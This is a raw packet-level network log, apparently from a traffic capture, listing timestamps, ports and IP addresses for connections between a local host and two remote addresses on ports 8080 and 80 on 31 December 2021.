Dec 31, 2021 19:12:56.442315102 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.442342997 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.442353964 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.442393064 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.442441940 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.442445040 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.442485094 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.442500114 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.442522049 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.442570925 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.442609072 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.442619085 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.442646980 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.442687988 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.442727089 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.442738056 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.442768097 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.442774057 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.442809105 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.442832947 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.442846060 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.442883968 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.442924023 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.442953110 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.442961931 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.443001986 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.443036079 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.443041086 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.443044901 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.443079948 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.443120956 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.443162918 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.443202019 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.443218946 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.443240881 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.443276882 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.443315983 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.443353891 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.443365097 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.443393946 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.443434000 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.443470955 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.443481922 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.443511963 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.443519115 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.443552017 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.443589926 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.443629026 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.443634987 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.443670034 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.443671942 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.443708897 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.443752050 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.443789959 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.443802118 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.443829060 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.443830013 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.443870068 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.443907022 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.443944931 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.443954945 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.443984032 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.444025040 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.444036961 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.444230080 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.503720045 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.503787994 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.503828049 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.503868103 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.503871918 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.503909111 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.503948927 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.503985882 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.503990889 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.504014969 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.504029989 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.504069090 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.504107952 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.504144907 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.504162073 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.504184961 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.504225969 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.504266024 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.504280090 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.504306078 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.504319906 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.504344940 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.504385948 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.504421949 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.504424095 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.504461050 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.504475117 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.504499912 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.504539013 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.504578114 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.504590988 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.504617929 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.504642963 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.504657030 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.504698038 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.504735947 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.504739046 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.504776001 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.504816055 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.504874945 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.504892111 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.504909992 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.504931927 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.504971027 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.504987001 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.505011082 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.505048037 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.505094051 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.505132914 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.505152941 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.505172014 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.505212069 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.505249977 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.505264997 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.505289078 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.505300999 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.505328894 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.505367041 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.505405903 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.505419970 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.505440950 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.505448103 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.505481005 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.505522013 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.505558968 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.505577087 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.505599022 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.505606890 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.550215006 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.565007925 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.565064907 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.565104961 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.565144062 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.565185070 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.565226078 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.565263033 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.565277100 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.565300941 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.565300941 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.565305948 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.565340996 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.565377951 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.565398932 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.565419912 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.565437078 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.565458059 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.565499067 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.565537930 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.565556049 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.565576077 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.565591097 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.565618992 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.565659046 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.565696001 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.565720081 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.565737963 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.565743923 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.565778017 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.565817118 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.565840006 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.565856934 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.565895081 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.565933943 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.565937996 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.565973997 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.565984964 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.566014051 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.566051960 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.566091061 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.566131115 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.566147089 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.566171885 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.566210032 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.566250086 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.566288948 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.566303015 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.566325903 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.566365004 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.566402912 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.566416025 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.566442013 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.566454887 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.566482067 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.566519022 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.566557884 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.566571951 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.566596985 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.566633940 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.566673040 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.566693068 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.566711903 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.566754103 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.567055941 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.609919071 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.609976053 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.610064030 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.626187086 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.626234055 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.626272917 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.626293898 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.626312017 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.626351118 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.626365900 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.626391888 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.626435995 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.626449108 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.626475096 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.626513958 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.626554966 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.626568079 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.626593113 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.626631975 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.626643896 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.626671076 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.626708984 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.626750946 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.626765966 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.626790047 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.626828909 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.626868010 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.626887083 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.626921892 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.626980066 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.627021074 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.627062082 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.627093077 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.627099991 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.627141953 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.627180099 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.627198935 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.627217054 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.627221107 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.627264023 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.627304077 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.627341032 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.627371073 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.627379894 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.627418041 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.627454996 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.627456903 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.627475977 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.627497911 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.627537966 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.627577066 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.627615929 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.627633095 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.627652884 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.627692938 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.627744913 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.627751112 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.627789974 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.627827883 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.627841949 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.627867937 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.627907038 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.627931118 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.627948046 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.627984047 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.627985954 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.628025055 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.628056049 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.628067970 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.628686905 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:56.669547081 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.669600010 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.669630051 CET	8080	49809	185.7.214.171	192.168.2.3
Dec 31, 2021 19:12:56.669722080 CET	49809	8080	192.168.2.3	185.7.214.171
Dec 31, 2021 19:12:57.906522036 CET	49810	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:57.955135107 CET	80	49810	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:57.955259085 CET	49810	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:57.955826044 CET	49810	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.032016993 CET	80	49810	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.033494949 CET	49810	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.037132025 CET	49810	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.079044104 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.086018085 CET	80	49810	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.128192902 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.128307104 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.129112005 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.135797977 CET	49817	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.184499979 CET	80	49817	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.185661077 CET	49817	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.185741901 CET	49817	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.185766935 CET	49817	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.186619043 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.186681986 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.186722994 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.186738014 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.186765909 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.186798096 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.186856985 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.186877012 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.186916113 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.186964989 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.186980009 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.187006950 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.187009096 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.187077045 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.187088013 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.187129974 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.187143087 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.187175035 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.235851049 CET	80	49817	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.235904932 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.235945940 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.235985041 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.236020088 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.236059904 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.236047983 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.236099005 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.236139059 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.236155987 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.236164093 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.236179113 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.236180067 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.236186028 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.236191034 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.236217022 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.236254930 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.236257076 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.236263990 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.236268997 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.236298084 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.236299038 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.236335993 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.236375093 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.236383915 CET	49816	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:58.236416101 CET	80	49816	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:58.236454964 CET	80	49816	31.28.27.130	192.168.2.3
